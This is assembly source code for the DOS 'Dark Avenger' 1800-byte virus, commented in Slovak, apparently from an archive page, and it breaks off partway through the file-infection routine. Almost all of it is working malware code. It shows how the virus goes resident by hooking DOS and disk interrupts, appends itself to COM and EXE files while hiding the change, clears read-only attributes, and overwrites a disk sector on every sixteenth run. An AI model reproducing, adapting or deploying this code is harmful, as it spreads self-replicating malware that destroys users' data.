Prev || Home
; --------------------------------------------------------------------------
;	Virus Dark Avenger (1800)	Sourced by Roman_S   (c) 1991
; --------------------------------------------------------------------------
;
; Rezidentny virus o dlzke 1800 byte. Napada subory COM a EXE s minimalnou
; dlzkou 1775 byte. Subor je napadnuty pri Rename, Close, Chmod, Exec
; Prekonava nastaveny Read Only flag. Predefinovava Critical Error (???)
; Kazde 16 spustenie nakazeneho programu sposobi znicenie jedneho sektora
; disku z data oblasti (zapise sam seba). Pocet spusteni a posledne prepisany
; sektor si uklada do BOOTu na posledne 3 znaky systemoveho mena.
; Uhniezduje sa na vrchole ram (Asi 3800 byte). Kazde predefinovanie INT 21h
; vrati opat na seba (Neporusi retaz). Obabrava Get/Setvector
; Scan ho hlasi ako aktivneho uz pri kopirovani nakazeneho suboru co je blbost.
interrupt_13    equ     4Ch	;Adresa disk i/o interruptu 13h *4 (0000:4C)
interrupt_21    equ     84h	;Adresa DOS interruptu 21h
interrupt_24    equ     90h	;Adresa Critical Error interruptu 24h
interrupt_27    equ     9Ch	;Adresa TSR interruptu 27h
interrupt_40    equ     100h	;Adresa Disk Reqest int 40h
interrupt_41H   equ     106h	;Segmentova adresa int riadenia 8259
PSP_top_ram     equ     2	;Offset v PSP-top of avail.sys.memory (parag)
PSP_avail       equ     6	;Available byte in PSP (only for COM file)
PSP_reserved    equ     2Ah	;Offset v PSP - DOS reserved
MCB_typ		equ     0	;Typ bloku:'M'-stredny blok 'N'-posledny blok
MCB_owner       equ     1	;MCB - vlastnik bloku (for freemem)
data_5e		equ	0
data_6e         equ     2
MZ		equ	5a4dh	;Znacka 'MZ' identifikujuca EXE program12
start_prog	equ     06FDh	;Tu je ulozena startovacia adr.povodneho pr.
stack_prog	equ     0701h	;Tu je nastavenie zasobnika EXE prog. SS:SP
old_3_byte      equ     0705h	;Povodne 3 byte z COM programu (JMP virus)
handle          equ     0708h	;Handle vyhliadnuteho suboru
file_name	equ	070Ah	;Meno vyhliadnuteho suboru
old_27          equ     074Bh	;      TSR int
old_21          equ     074Fh	;      DOS int
buffer_file     equ     0753h	;Tu nacitava cast suboru ktory ide nakazit
file_lenght     equ     076Bh	;Dlzka suboru ktory sa ide nakazit
				     ;Offety v EXE file header
EXE_PartPage   equ  buffer_file+2    ;Lenght of partial page at end
EXE_PageCnt    equ  buffer_file+4    ;Lenght of image in 512 byte pages, vcetne header
EXE_Hdr_Size   equ  buffer_file+8    ;Size of Header in paragraph
EXE_Relo_SS    equ  buffer_file+0Eh  ;Segment offset of stack segment (for set SS)
EXE_startSP    equ  buffer_file+10h  ;Value for SP register (Stack pointer) start
EXE_IP_start   equ  buffer_file+14h  ;Value for IP register when started
EXE_Relo_CS    equ  buffer_file+16h  ;Segment offset of code segment (for setting CS)
EXE_Tabl_Off   equ  buffer_file+18h  ;File-offset of first relocation item
EXE_Overlay    equ  buffer_file+1Ah  ;Overlay number (0-base module)
				;Offsety v BOOT sektore
BOOT_name	equ	3	;System name
Sect_Size	equ	0Bh	;Velkost sektora v byte
Reserv_Sect	equ	0Eh	;Pocet sektorov pred FAT (reserved sector)
FAT_number	equ	10h	;Pocet FAT tabuliek
ROOT_size	equ	11h	;Pocet 32 byt poloziek v ROOT
Total_Sect	equ	13h	;Celkovy pocet sektorov
FAT_size	equ	16h	;Velkost FATu v sektoroch
virus_dav	segment byte public
		assume	cs:virus_dav, ds:virus_dav
		org	100h
dav		proc	far
; --------------				;Original program
start:		jmp	run_virus
old_prog:	nop
		mov	ah,9
		mov	dx,offset text_old_prog
		int	21h			;Display char string at ds:dx
		mov	ax,4C00h
		int	21h			;Terminate with al=return code
						;Tu su 0 pre dlzku programu
		org	07e9h
text_old_prog	db	'Hello$'
; --------------			;Koniec Original programu - zac. virusu
run_vir		db	'Eddie lives...somewhere in time!', 0
		db	0, 90h, 23h, 12h, 1Eh
dokoncenie_EXE:	mov	bx,es
		add	bx,10h
		add	bx,cs:[start_prog+si+2]	     ;Vyber start adress SEG
;		db	2eh,89h,9ch,53h,0    ;Original virus byte next instr.
		mov	cs:[si+(jump-run_vir+3)],bx  ;Uloz na jump+3
		mov	bx,cs:[start_prog+si]	     ;		  adress OFF
;		db	2eh,89h,9ch,51h,0    ;Original virus byte next instr.
		mov	cs:[si+(jump-run_vir+1)],bx  ;            jump OFF
		mov	bx,es
		add	bx,10h
		add	bx,cs:[stack_prog+si+2]
		mov	ss,bx
		mov	sp,cs:[stack_prog+si]
jump:		db	0EAh, 0, 0, 0, 0	;jmp far original programm
dokoncenie_COM:
		mov	di,100h			;Zaciatok COM programu
		add	si,original_bytes-run_vir
		movsb				;Restore 3 byte origin.prog.
		movsw
		mov	sp,ds:[PSP_avail]
		xor	bx,bx
		push	bx			;Push 0
		jmp	word ptr [si-0Bh]	;*
run_virus:	call	run_virus_		;Push offset run_virus
dav		endp
run_virus_	proc	near
		pop	si
;		db	81h,0eeh,6bh,0h     ;Original virus byte next 2 instr.
		sub	si,run_virus-run_vir+3     ;SI = offset run_vir
		nop				   ;Cez SI indexuje data
		cld				   ;Clear direction
		cmp	cs:[old_3_byte+si],MZ	;EXE program ?
		je	pokracuj
		cli				;Disable interrupts
		mov	sp,si
		add	sp,808h			;SP = 0FF7h  (105h za koniec prog)
		sti				;Enable interrupts
		cmp	sp,ds:[PSP_avail]
		jae	dokoncenie_COM		;End ak je vrchol moc vysoko
pokracuj:	push	ax			;Backup original AX
		push	es			;Backup original ES
		push	si			;Backup run_vir offset
		push	ds			;Backup original DS
		mov	di,si			;DI=SI - run_vir
		xor	ax,ax				;Zero register
		push	ax				;Push 0
		mov	ds,ax				;DS = 0
		les	ax,dword ptr ds:interrupt_13 	;ES:AX = int 13h
		mov	cs:[old_13-run_vir+si],ax	     	;Uloz si old int 13h
		mov	cs:[old_13-run_vir+si+2],es
		mov	cs:[old_40-run_vir+si],ax
		mov	cs:[old_40-run_vir+si+2],es
		mov	ax,ds:[interrupt_40+2]	;AX = SEG adresa int 40h
		cmp	ax,0F000h		;Ukazuje do ROM ?
		jne	no_ROM
		mov	cs:[old_40-run_vir+si+2],ax	;Nie -> je predefinovany
		mov	ax,ds:[interrupt_40]
		mov	cs:[old_40-run_vir+si],ax
		mov	dl,80h
		mov	ax,ds:interrupt_41H
		cmp	ax,0F000h
		je	int41_isROM
		cmp	ah,0C8h
		jb	no_ROM
		cmp	ah,0F4h
		jae	no_ROM
		test	al,7Fh
		jnz	no_ROM
		mov	ds,ax
		cmp	word ptr ds:0,0AA55h
		jne	no_ROM
		mov	dl,ds:2
int41_isROM:	mov	ds,ax
		xor	dh,dh
		mov	cl,9
		shl	dx,cl
		mov	cx,dx
		xor	si,si
locloop_1:	lodsw
		cmp	ax,0FA80h
		jne	loc_2
		lodsw
		cmp	ax,7380h
		je	loc_3
		jnz	loc_4
loc_2:		cmp	ax,0C2F6h
		jne	loc_5
		lodsw
		cmp	ax,7580h
		jne	loc_4
loc_3:		inc	si
		lodsw
		cmp	ax,40CDh
		je	loc_6
		sub	si,3
loc_4:		dec	si
		dec	si
loc_5:		dec	si
		loop	locloop_1
		jmp	short no_ROM
loc_6:		sub	si,7
		mov	cs:[old_13-run_vir+di],si
		mov	cs:[old_13-run_vir+di+2],ds
no_ROM:		mov	si,di				;SI = run_vir
		pop	ds				;Pop 0
		les	ax,dword ptr ds:interrupt_21	;ES:AX - int 21h
		mov	cs:[old_21+si],ax		;Odloz si int 21h
		mov	cs:[old_21+si+2],es
		push	cs
		pop	ds			;DS = CS
		cmp	ax,new_21-run_vir	;Je off int 21h moj offset ?
		jne	vir_no_in_mem
; Offset int 21h sedi aj pre mna, teraz fyzicky skontrolujem ci som to ja
		xor	di,di			;DI - 0 (Zaciatok seg int 21h)
		mov	cx,6EFh			;CX - lenght virus
next_byte1:					;SI - off run_vir
		lodsb
		scasb				;DS:SI = ES:DI ?
		jnz	vir_no_in_mem		;Ak nie neni to virus
		loop	next_byte1		;Skontroluj celu dlzku vira
		pop	es
		jmp	no_enouch_mem
; Virus neni v RAM ideme sa pokusit o jeho uhniezdenie. Uvolnim vsetku RAM
; zabranu EXECom a odoberiem asi 4 Kb ktore si samostatne zaberiem
; Predefinujem INT 21h,27h
vir_no_in_mem:	pop	es			;ES = DS original programm
		mov	ah,49h			;Uvolnenie RAM (Alokoval EXEC)
		int	21h			;Release memory block, es=seg
		mov	bx,0FFFFh		;Dlzka aka neexistuje ->
		mov	ah,48h			;	-> zistenie free ram
		int	21h			;Allocate memory, bx=bytes/16
						;BX - free mem
		sub	bx,0E7h			;Odpocitaj moju dlzku
		jc	no_enouch_mem		;Skok ak neni dost pamati
		mov	cx,es
		stc				;Set carry flag
		adc	cx,bx			;CX-seg adr konca mnou aloc ram
		mov	ah,4Ah
		int	21h			;Alokuj o 4 Kb ram menej ako bolo
		mov	bx,0E6h
		stc				;Set carry flag
		sbb	es:PSP_top_ram,bx	;Oprav top ram v PSP o moju dlzku
		push	es			;Backup original DS
		mov	es,cx
		mov	ah,4Ah
		int	21h			;Alokuj tych 4 Kb (ES ???)
		mov	ax,es			;AX=ES - seg adr 4 Kb bloku
		dec	ax
		mov	ds,ax			;DS - pred tento blok -> MCB
		mov	word ptr ds:MCB_owner,8	;Nastav vlastnika na 8 ???
		call	Paragr2_addr		;DX:AX = 16 * AX
		mov	bx,ax
		mov	cx,dx			;CX:BX - ukazatel na blok 4Kb
		pop	ds			;Restore original DS
		mov	ax,ds
		call	Paragr2_addr		;DX:AX - adresa vyrobena z DS
		add	ax,ds:PSP_avail         ;???
		adc	dx,0			;Pre CARRY
		sub	ax,bx
		sbb	dx,cx			;Odpocitaj ??? (vyslo zaporne)
		jc	zapor
		sub	ds:PSP_avail,ax
zapor:		pop	si			;SI = run_vir
		push	si
		push	ds			;Backup original DS
		push	cs			;PUSH
		xor	di,di
		mov	ds,di			;DS = 0
		lds	ax,dword ptr ds:interrupt_27	;DS:AX - int 27h (TSR)
		mov	cs:[old_27+si],ax		;Backup old int 27h
		mov	cs:[old_27+si+2],ds
		pop	ds			;POP  (DS=CS) (ES=seg blok 4Kb)
		mov	cx,753h			;Virus lenght
		rep	movsb			;Copy virus DI=0 SI=run_vir
		xor	ax,ax			;DS = 0
		mov	ds,ax
		mov	word ptr ds:interrupt_21,new_21-run_vir	;offs new_21 voci zaciatku vira
		mov	word ptr ds:interrupt_21+2,es		;Seg 4 Kb ram
		mov	word ptr ds:interrupt_27,new_27-run_vir	;offs new_27
		mov	word ptr ds:interrupt_27+2,es
		mov	es:handle,ax				;Inicializacia
		pop	es			;ES = original DS
; Tato cast sa vykonava vzdy (bez ohladu na to ci je virus v pamati)
; Kazde 16 zavolanie sposobuje zapis 1 sektora na disk - kill
; Pocet volani a cislo posledneho zniceneho sektora si znaci do BOOT (name)
no_enouch_mem:
vir_in_memory:	pop	si			;SI - run_vir
		xor	ax,ax
		mov	ds,ax			;DS = 0
		mov	ax,ds:interrupt_13		;Int 13h odloz
		mov	cs:[doc_old_13-run_vir+si],ax
		mov	ax,word ptr ds:interrupt_13+2
		mov	cs:[doc_old_13-run_vir+si+2],ax
							;Nastav novy int 13h
		mov	word ptr ds:interrupt_13, new_13-run_vir
		add	ds:interrupt_13,si			;???
		mov	word ptr ds:interrupt_13+2,cs
		pop	ds			;DS = original ES
		push	ds
		push	si			;AX,ES, SI = run vir
		mov	bx,si			;Backup SI on BX
		lds	ax,dword ptr ds:PSP_reserved	; DS:AX = enviromnent
		xor	si,si
		mov	dx,si			;DX=SI=0
; DS:0000 ukazuje na environment pred programom (Pred PSP) kde je PATH,
; kompletna cesta na tento program. Zaujima nas drive aby mohol pisat na BOOT
; ideme vyhladat znak drive (PATH,0,0,DRIVE+PATH+NAME).
find_next_byte:	lodsw
		dec	si
		test	ax,ax			;Koniec PATH ?
		jnz	find_next_byte
		add	si,3			;Posun sa na znak drive
		lodsb				;AL = znak drive
		sub	al,'A'			;AL=cislo drive (0=A,1=B...)
		mov	cx,1			;CX = 1 sector, DX = 0 Boot
		push	cs
		pop	ds			;DS = my segment
		add	bx,buf_BOOT-run_vir	;BX = offset buffer for BOOT
		push	ax
		push	bx			;Backup AX,BX,CX
		push	cx
		int	25h			;Absolute read - BOOT sector
		pop	ax			;Pop word from int 25h
		pop	cx			;Restore CX,BX
		pop	bx
		inc	byte ptr [bx+BOOT_name+7] ;Last char name in BOOT sector
		and	byte ptr [bx+BOOT_name+7],0Fh ;16te volanie ?
		jnz	no_kill1
; Kazde 16te volanie nakazeneho programu sposobuje znicenie 1 sektora
		mov	al,[bx+FAT_number]	;AX = Pocet FAT tabuliek
		xor	ah,ah
		mul	word ptr [bx+FAT_size]	;AX = Pocet FAT * Velkost FAT (sect.)
		add	ax,[bx+Reserv_Sect]	;   + Sector before forst FAT
		push	ax			;Backup AX (ROOT sect. start)
		mov	ax,[bx+ROOT_size]	;Max ROOT poloziek (32byte kazda)
		mov	dx,20h			;Velkost polozky v ROOT
		mul	dx			;DX:AX = 20h*AX (root size int bytes)
		div	word ptr [bx+Sect_Size]	;AX = number sectors of ROOT
		pop	dx			;Restore AX
		add	dx,ax			;DX = start disk data
		mov	ax,[bx+BOOT_name+5]	;Cislo posledne zniceneho sect.
		add	ax,40h			;Pokroc o kusok dalej
		cmp	ax,[bx+Total_Sect]	;Neni si uz mimo rozsah ?
		jb	sect_ok			;Jump if AX < Total Sectors
		inc	ax
		and	ax,3Fh			;A znova s posunom
		add	ax,dx			;Pridaj start disk data
		cmp	ax,[bx+Total_Sect]	;Neni to nahodou aj tak zle ?
		jae	error_end_disk		;Jump if AX >= Total Sectors
sect_ok:	mov	[bx+BOOT_name+5],ax	;Uchovaj posl. zniceny sect.
; Zapisanie upraveneho BOOT sektora (zmenene pocitadlo volani),
; pripadne (ak = 0) zmenene cislo posledne zniceneho sektora.
						;BX = offset buffer for BOOT
no_kill1:	pop	ax			;Restore aj AX
		xor	dx,dx			;DX=0 - sector 0 (BOOT)
		push	ax			;Backup registers
		push	bx
		push	cx
		int	26h			;Absolute disk write BOOT
		pop	ax			;Pop word (Nechava INT 26h)
		pop	cx			;Restore registers
		pop	bx
		pop	ax
		cmp	byte ptr [bx+BOOT_name+7],0 ;Bolo to 16te volanie ?
		jne	no_kill2		    ;Ak nie odchod
						;Prepisanie vypocitaneho sect.
		mov	dx,[bx+BOOT_name+5]	;Vyber si cislo sektora (kill)
		pop	bx			;BX = run_vir
		push	bx
		int	26h			;Kill random sector (write vir)
error_end_disk:	pop	ax			;Vyber word po int 26h
no_kill2:	pop	si			;SI = run_vir
		xor	ax,ax			;DS = 0
		mov	ds,ax
		mov	ax,cs:[doc_old_13-run_vir+si] ;Restore int 13h
		mov	ds:interrupt_13,ax
		mov	ax,cs:[doc_old_13-run_vir+si+2]
		mov	word ptr ds:interrupt_13+2,ax
		pop	ds			;Restore original ES,AX
		pop	ax
		cmp	cs:[old_3_byte+si],MZ	;EXE file ?
		jne	COM_programm
		jmp	dokoncenie_EXE
COM_programm:	jmp	dokoncenie_COM
run_virus_	endp
; ------------------------------------------------------------------
; 	Predefinovany Critical Error pocas infikovania suboru
; ------------------------------------------------------------------
new_crit_err:	mov	al,3			;Fail return number
		iret				;Interrupt return
; -------------------------------------------------------------------
;  		    Predefinovany TSR vector.
;  Tato cast sluzi aj na nacitanie BOOT sectora. Najskor je ale
;  prekopirovana spolu s celym virom do  zaalokovaneho bloku (asi 4 kb)
; -------------------------------------------------------------------
new_27:
buf_BOOT:	pushf				;Backup flag
		call	set_PSP_0
		popf				;Restore flag
		jmp	dword ptr cs:[old_27]	;Original interrupt TSR
; ---------------------------------------------------------------------
;		DOS sluzby setvect a getvect (21h,27h)
; ---------------------------------------------------------------------
setv_27:	mov	cs:[old_27],dx		;Uchovaj si pre seba novu hodn.
		mov	cs:[old_27+2],ds
		popf				;Pop flags
		iret				;Interrupt return
setv_21:	mov	cs:[old_21],dx
		mov	cs:[old_21+2],ds
		popf
		iret
getv_27:	les	bx,dword ptr cs:[old_27] ;Vrat mu poslednu hodnotu
		popf
		iret
getv_21:	les	bx,dword ptr cs:[old_21]
		popf
		iret
; ----------------------------------------------------------------------
;	Sluzba DOS 4bh Executable or Load a Program (DS:DX - filespec)
; ----------------------------------------------------------------------
exec:		call	infect_file		;Pokus sa ho nakazit
		call	set_PSP_0
		popf
		jmp	dword ptr cs:[old_21]	;Riadne spustenie programu
		db	'Diana P.',0
; ----------------------------------------------------------------------
;	Novy interrupt DOS. Na pracu so suborom sa ho pokusa nakazit.
; ----------------------------------------------------------------------
new_21:		push	bp			;Backup BP
		mov	bp,sp
		push	word ptr [bp+6]
		popf
		pop	bp			;Restore BP
		pushf
		call	test_redef_21		;Zisti ci niekto nepredefinoval
		cmp	ax,2521h
		je	setv_21			;Setvect 21h
		cmp	ax,2527h
		je	setv_27			;Setvect 27h
		cmp	ax,3521h
		je	getv_21			;Getvect 21h
		cmp	ax,3527h
		je	getv_27			;Getvect 27h
		cld				;???
		cmp	ax,4B00h
		je	exec			;Exec program
		cmp	ah,3Ch
		je	create_file		;Create file
		cmp	ah,3Eh
		je	close_file		;Close file
		cmp	ah,5Bh			;New file ?
		jne	cont1_21
; -----------------------------------------------------------------------
;			Create, new, close file
;  Ak premenna handle je 0 a subor je EXE or COM poznaci si jeho handle
; -----------------------------------------------------------------------
create_file:
new_file:	cmp	word ptr cs:[handle],0	;Mam uz nieco vyhliadnute ?
		jne	vykon_&_end_21		;Ak ano (handle!=0) nezaujem
		call	test_extension		;Kontrola EXE, COM (Z=1 if yes)
		jnz	vykon_&_end_21		;Nema zmysel neni vykonatelny
		call	set_PSP_0
		popf
		call	call_old_21		;Riadne vykonanie DOS funkcie
		jc	return_INT21		;Vyskoc ak vratil DOS error
		pushf				;Push flag CF=0
		push	es			;5 x push registers
		push	cs
		pop	es			;ES=CS
		push	si
		push	di
		push	cx
		push	ax
		mov	di,handle		;Uloz si handle tohto suboru
		stosw				;DI = file_name
		mov	si,dx			;DS:SI - address filespec
		mov	cx,65			;maximalne 65 znakov
store_filename:	lodsb				;Kopia filename za handle
		stosb
		test	al,al
		jz	name_ok			;Skok ak koniec retazca
		loop	store_filename		;Dalsi znak
		mov	es:handle,cx		;CX = 0 error lenght string
name_ok:	pop	ax			;5 x pop registers
		pop	cx
		pop	di
		pop	si
		pop	es
close_infect:	popf				;Popflag CF=0
		jnc	return_INT21		;Jump return interrupt 21h
; ------------------------------------------------------------------------
;				Close file
; Ak handle zatvaraneho suboru = nasemu poznacenemu pokusi sa ho infikovat
; ------------------------------------------------------------------------
close_file:	cmp	bx,cs:handle		;Je to vyhliadnuty subor
		jne	vykon_&_end_21		;Ak nie riadne dokonci INT
		test	bx,bx
		jz	vykon_&_end_21		;dokonci int ak handle=0
		call	set_PSP_0
		popf
		call	call_old_21		;Zavolaj DOS (close file)
		jc	return_INT21		;Ak error odchod
		pushf
		push	ds			;Backup DS,DX
		push	cs
		pop	ds			;DS = CS
		push	dx
		mov	dx,file_name		;DS:DX adress file name
		call	infect_file		;Pokus sa ho nakazit
		mov	word ptr cs:handle,0	;Handle=0 -> volny pre dalsi subor
		pop	dx
		pop	ds			;Restore DS,DX
		jmp	short close_infect	;Skonci interrupt 21h
; ----------------------------------------------------------------------
;			Pokracovanie INT 21h
; ----------------------------------------------------------------------
cont1_21:	cmp	ah,3Dh
		je	open_file		;Open file
		cmp	ah,43h
		je	chmod			;Chmod file
		cmp	ah,56h                  ;Rename file ?
		jne	vykon_&_end_21		;Nezaujem - vykonaj co chce a skonci
; ---------------------------------------------------------------------
;			 Open, Chmod, Rename file
;
; ---------------------------------------------------------------------
open_file:
chmod:		call	test_extension		;DS:DX - filename = EXE,COM ?
		jnz	vykon_&_end_21		;Nezaujem
		call	infect_file		;Pokus sa ho nakazit
; --------------				;Vykonanie int 21h a koniec
vykon_&_end_21:	call	set_PSP_0
		popf
		call	call_old_21		;Volaj DOS
return_INT21:	pushf
		push	ds			;Backup DS
		call	set_DSonPSPact		;Vrat povodne PSP
		mov	byte ptr ds:MCB_typ,'Z'	;Tento (MCB) blok je posledny
		pop	ds			;Restore DS
		popf
		retf	2			;Return far from interrupt
;------------------------------------------------------------------------
; Testovanie extenzie suboru. Vstupuje DS:DX - adress path+filename
;     Vyhladam si '.' a kontrolujem EXE, COM. Ak je vraciam ZF=1
;------------------------------------------------------------------------
test_extension	proc	near
		push	ax			;Backup AX,SI
		push	si
		mov	si,dx			;DS:SI - start string
dalsi:     	lodsb
		test	al,al			; = 0 ?
		jz	no_COM_EXE		;Bodka tu ani nie je
		cmp	al,'.'
		jne	dalsi			;Hladaj dalej ak neni '.'
		call	char_C_X_?		;Test AL = <'C','X'> ?
		mov	ah,al
		call	char_C_X_?		;Test next char
		cmp	ax,636Fh		;'co' ?
		je	ext_CO
		cmp	ax,6578h		;'ex' ?
		jne	ret_test		;Neni ani EXE ani COM odchod
		call	char_C_X_?		;Test tretieho znaku na 'e'
		cmp	al,'e'			;If EXE then ZF=1  (AL='e')
		jmp	short ret_test
ext_CO:		call	char_C_X_?		;Test tretieho znaku na 'm'
		cmp	al,'m'			;ZF=1 if COM
		jmp	short ret_test
no_COM_EXE:	inc	al			;ZF=0 -> ani EXE ani COM
ret_test:	pop	si			;Restore SI,AX
		pop	ax
		retn
test_extension	endp
; -------------------------------------------------------------------
;	Kontroluje ci znak DS:SI++ je z intervalu 'C'-'X'
;		Ak ano return inak pripocita 20h
; -------------------------------------------------------------------
char_C_X_?	proc	near
		lodsb				;AL = DS:SI++
		cmp	al,'C'
		jb	no_C_X			;Jump if char < 'C'
		cmp	al,'X'+1
		jae	no_C_X			;Jump if char > 'X'
		add	al,20h
no_C_X:		retn
char_C_X_?	endp
;---------------------------------------------------------------------
;			Volanie riadneho INT 21h
;---------------------------------------------------------------------
call_old_21	proc	near
		pushf				;Simulate interrupt
		call	dword ptr cs:[old_21]	;DOS interrupt
		retn
call_old_21	endp
;----------------------------------------------------------------------
;	Pokus o nakazenie suboru ktoreho meno vstupuje cez DS:DX
; Predefinuje Critical error, Disk I/O, pripadne zmeni atributy suboru
;----------------------------------------------------------------------
infect_file	proc	near
		push	ds	;8 x push reg.
		push	es
		push	si
		push	di
		push	ax
		push	bx
		push	cx
		push	dx
		mov	si,ds			;Backup DS to SI
		xor	ax,ax			;DS = 0
		mov	ds,ax
		les	ax,dword ptr ds:interrupt_24
		push	es			;Push Critical Error interrupt
		push	ax
		mov	word ptr ds:interrupt_24,new_crit_err-run_vir
							;Setv 24h,new_crit_err
		mov	word ptr ds:interrupt_24+2,cs
		les	ax,dword ptr ds:interrupt_13
		mov	cs:[doc_old_13-run_vir],ax		;Backup int 13h
		mov	cs:[doc_old_13-run_vir+2],es
							;Setv 13h,new_13
		mov	word ptr ds:interrupt_13,new_13-run_vir
		mov	word ptr ds:interrupt_13+2,cs
		push	es				;Push int 13h
		push	ax
		mov	ds,si			;Restore DS from SI
		xor	cx,cx			;CX = 0
		mov	ax,4300h		;Read file attribute
		call	call_old_21
		mov	bx,cx			;Backup file attr to BX
		and	cl,0FEh			;Znuluj pripadny Read Only bit
		cmp	cl,bl			;Bolo to vobec treba ?
		je	no_ReadOnly		;Ak nie preskoc
		mov	ax,4301h
		call	call_old_21		;Set file attribute 0
		stc				;Set CF=1 - flag zmeny attr.
no_ReadOnly:	pushf
		push	ds			;Backup DS,DX,BX
		push	dx
		push	bx
		mov	ax,3D02h
		call	call_old_21		;Open file Read/Write (DS:DX)
		jc	open_error		;Jump if error
		mov	bx,ax			;BX = file handle
		call	append_virus		;Pokus o pridanie virusu
		mov	ah,3Eh
		call	call_old_21		;Close file (BX=handle)
open_error:	pop	cx			;Restore CX (file attrib)
		pop	dx
		pop	ds			;DS:DX - filename
		popf
		jnc	no_change_attr		;CF=1 ak bola zmena attrib.
		mov	ax,4301h		;Set old file attribute
		call	call_old_21
no_change_attr:	xor	ax,ax			;DS = 0
		mov	ds,ax
		pop	word ptr ds:interrupt_13	;Restore int 13h
		pop	word ptr ds:interrupt_13+2
		pop	word ptr ds:interrupt_24	;Restore Crit.error
		pop	word ptr ds:interrupt_24+2
		pop	dx			;8 x pop reg.
		pop	cx
		pop	bx
		pop	ax
		pop	di
		pop	si
		pop	es
		pop	ds
		retn
infect_file	endp
;-----------------------------------------------------------------------
; 			Pripojenie virusu k suboru.
; Skontroluje dlzku, uchova file Time & Date, nastavi start prog.na seba
;-----------------------------------------------------------------------
append_virus	proc	near
		push	cs
		pop	ds
		push	cs
		pop	es			;ES = DS = CS
		mov	dx,buffer_file		;DS:DX - buffer file
		mov	cx,18h			;CX = 18h -> pocet byte
		mov	ah,3Fh
		int	21h			;Read file
		xor	cx,cx
		xor	dx,dx			;DX:CX = 0 offset
		mov	ax,4202h		;Seek to end of file
		int	21h			;DX:AX - new position
		mov	word ptr ds:[file_lenght+2],dx	;Store HI word lenght
		cmp	ax,1775			;Kontrola dlzky (Min 1775)
		sbb	dx,0
		jc	file_is_short		;Subor je moc kratky - odchod
		mov	word ptr ds:[file_lenght],ax    ;Store LO word lenght
		cmp	word ptr ds:[buffer_file],MZ	;EXE file ?
		jne	com_file1
		mov	ax,word ptr ds:[EXE_Hdr_Size]
		add	ax,word ptr ds:[EXE_Relo_CS]
		call	Paragr2_addr
		add	ax,word ptr ds:[EXE_IP_start]
		adc	dx,0
		mov	cx,dx
		mov	dx,ax
		jmp	short append_cont1
com_file1:	cmp	byte ptr ds:[buffer_file],0E9h	;Prvy byte je JMP ?
		jne	work_infect		;Ak nie urcite tam neni vir
		mov	dx,word ptr ds:[buffer_file+1]
		add	dx,103h
		jc	work_infect
		dec	dh
		xor	cx,cx			;CX = 0
append_cont1:	sub	dx,run_virus-run_vir	;Offset vo viruse na 1vu instr.
		sbb	cx,0			;Prenos do HI
		mov	ax,4200h		;Seek to begin file + CX:DX
		int	21h			;Return DX:AX - new position
		add	ax,708h
		adc	dx,0
		cmp	ax,word ptr ds:[file_lenght]
		jne	work_infect
		cmp	dx,word ptr ds:[file_lenght+2]
		jne	work_infect
		mov	dx,76Fh			;DS:DX address ??????????
		mov	si,dx
		mov	cx,6EFh			;Pocet byte
		mov	ah,3Fh			;Read file
		int	21h
		jc	work_infect
		cmp	cx,ax			;Nacital kolko mal ?
		jne	work_infect
		xor	di,di			;DI = 0   SI = address ??????????
						;Compare file & virus
next_compare:	lodsb
		scasb
		jnz	work_infect		;Jump infect if different
		loop	next_compare		;Celu dlzku
file_is_short:
return_append:	retn
work_infect:	xor	cx,cx			;DX:CX = 0 (offset)
		xor	dx,dx
		mov	ax,4202h		;Seek to end of file
		int	21h
		cmp	word ptr ds:[buffer_file],MZ	;EXE file ?
		je	exe_file1
		add	ax,953h			;COM file
		adc	dx,0
		jz	append_cont2
		retn
exe_file1:	mov	dx,word ptr ds:[file_lenght]
		neg	dl
		and	dx,0Fh			;Najnizsie 4 bity
		xor	cx,cx			;CX = 0
		mov	ax,4201h		;Seek to current position
		int	21h			;Move file ptr, cx,dx=offset
		mov	word ptr ds:[file_lenght],ax
		mov	word ptr ds:[file_lenght+2],dx
append_cont2:	mov	ax,5700h		;Read file time & date
		int	21h
		pushf				;Backup Flag,CX,DS (Tim&Date)
		push	cx
		push	dx
		cmp	word ptr ds:[buffer_file],MZ	;EXE file ?
		je	exe_file2
		mov	ax,100h			;Start COM file
		jmp	short append_cont3
exe_file2:	mov	ax,word ptr ds:[EXE_IP_start]
		mov	dx,word ptr ds:[EXE_Relo_CS]
append_cont3:	mov	di,start_prog
		stosw				;Uloz startovaciu adresu OFF
		mov	ax,dx
		stosw				;			 SEG
		mov	ax,word ptr ds:[EXE_startSP]
		stosw
		mov	ax,word ptr ds:[EXE_relo_SS]
		stosw
		mov	si,buffer_file		;Precitaj a uloz prve 3 byte prog.
		movsb
		movsw
		xor	dx,dx			;DX = 0
		mov	cx,708h
		mov	ah,40h
		int	21h			;Append virus to file
		jc	write_error		;Jump if error
		xor	cx,ax			;Zapisal vsetko ?
		jnz	write_error		;Jump if no
		mov	dx,cx
		mov	ax,4200h		;DX:CX = 0 offset
		int	21h			;Seek to begin file
		cmp	word ptr ds:[buffer_file],MZ	;EXE file ?
		je	exe_file3
		mov	byte ptr ds:[buffer_file],0E9h	;1 byte progr. JMP
		mov	ax,word ptr ds:[file_lenght]
		add	ax,run_virus-run_vir-3		; JMP xxx
		mov	word ptr ds:[buffer_file+1],ax	;Uloz hodnotu skoku
		mov	cx,3				;3 byte
		jmp	short append_cont4
write_error:	jmp	short write_error_
exe_file3:	call	Header_EXE_Size		;DX:AX = Velkost EXE headera
		not	ax
		not	dx
		inc	ax			;DX:AX += 1
		jnz	no_prenos
		inc	dx
no_prenos:	add	ax,ds:EXE_Tabl_Off
		adc	dx,word ptr ds:EXE_Overlay
		mov	cx,10h
		div	cx			;ax,dx rem=dx:ax/reg
		mov	word ptr ds:EXE_IP_start,run_virus-run_vir
		mov	ds:EXE_Relo_CS,ax
		add	ax,71h
		mov	ds:EXE_Relo_SS,ax
		mov	word ptr ds:EXE_startSP,100h
		add	word ptr ds:EXE_Tabl_Off,708h
		adc	word ptr ds:EXE_Overlay,0
		mov	ax,ds:EXE_Tabl_Off
		and	ax,1FFh
		mov	ds:EXE_PartPage,ax
		pushf
		mov	ax,word ptr ds:EXE_Tabl_Off+1
		shr	byte ptr ds:EXE_Overlay+1,1	;Shift w/zeros fill
		rcr	ax,1				;Rotate thru carry
		popf
		jz	loc_9
		inc	ax
loc_9:		mov	ds:EXE_PageCnt,ax
		mov	cx,18h
append_cont4:	mov	dx,buffer_file		;CX = 3 byte JMP virus
		mov	ah,40h
		int	21h			;Write to begin file (JMP vir)
write_error_:	pop	dx
		pop	cx
		popf
		jc	nemen_T&D
		mov	ax,5701h		;Set old file Time & Date
		int	21h
